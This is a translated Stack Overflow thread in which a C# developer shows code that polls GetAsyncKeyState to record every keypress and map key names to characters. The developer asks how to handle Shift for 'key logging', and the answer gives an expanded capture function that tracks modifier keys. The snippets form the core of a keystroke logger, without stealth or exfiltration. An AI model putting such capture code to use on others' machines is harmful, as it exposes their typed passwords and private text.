按下Shift键时可以替换字符吗?

时间:2015-08-29 18:16:45

标签: c# string replace

Hello Stack Overflow社区!

这是我捕捉每一个按键的功能:

public static string GetBuffKeys()
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                    buffer += Enum.GetName(typeof(Keys), i);
            }
            return buffer;
        }

要进行一点格式化,我使用这个函数用新的字符替换我的字符:

public static class KeyControl
    {
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(int vKey);

        public static string ReplaceChars(string text)
        {
            text = text.Replace("Space", " ");
            text = text.Replace("Delete", "<Del>");
            text = text.Replace("LShiftKey", "");
            text = text.Replace("ShiftKey", "");
            text = text.Replace("OemQuotes", "!");
            text = text.Replace("Oemcomma", "?");
            text = text.Replace("D8", "á");
            text = text.Replace("D2", "ě");
            text = text.Replace("D3", "š");
            text = text.Replace("D4", "č");
            text = text.Replace("D5", "ř");
            text = text.Replace("D6", "ž");
            text = text.Replace("D7", "ý");
            text = text.Replace("D9", "í");
            text = text.Replace("D0", "é");
            text = text.Replace("D1", "+");
            text = text.Replace("Back", "<==");
            text = text.Replace("LButton", "");
            text = text.Replace("RButton", "");
            text = text.Replace("NumPad", "");
            text = text.Replace("OemPeriod", ".");
            text = text.Replace("OemSemicolon", ",");
            text = text.Replace("Oem4", "/");
            text = text.Replace("LControlKey", "");
            text = text.Replace("ControlKey", "");
            text = text.Replace("Enter", "<ENT>");
            text = text.Replace("Shift", "");
            text = text.Replace("CapsLock", "");
            text = text.Replace("Oem6", "(");
            return text;
        }

但是如果按下Shift键,我想用数字替换D *(例如D1)。有可能的?如果没有,比缓冲所有按键更好的密钥记录方法是什么?非常感谢!

1 个答案:

答案 0 :(得分:0)

您可以使用Control.ModifierKeys(WinForms)或Keyboard.Modifiers(WPF)查看当前按下的修饰键。例如:

        var modifiers = Control.ModifierKeys;
        if (modifiers != Keys.None)
        {
            text = text = "[" + modifiers.ToString() + "]";
        }

请注意,Keyboard.Modifiers是位掩码字段。因此,当当前keypress事件对应于该修饰符时,以下代码将清除特定修饰符:

    public static string GetBuffKeys()
    {
        var allModifierKeys = new Dictionary<Keys, Keys> { { Keys.ControlKey, Keys.Control }, {Keys.ShiftKey, Keys.Shift}, {Keys.Menu, Keys.Alt }};
        var modifiers = Control.ModifierKeys;

        string buffer = "";
        foreach (var key in Enum.GetValues(typeof(Keys)).OfType<Keys>().Distinct()) // The enum seems to have duplicated values for Enter and Return.  Uniquify them.
        {
            if (GetAsyncKeyState((int)key) == -32767)
            {
                buffer += ReplaceChars(Enum.GetName(typeof(Keys), key));
                if (allModifierKeys.Keys.Contains(key))
                    modifiers &= ~(allModifierKeys[key]); // Remove this modifier to prevent double printing.
            }
        }
        if (modifiers != Keys.None)
        {
            buffer = buffer + " [" + modifiers.ToString() + "]";
        }
        return buffer;
    }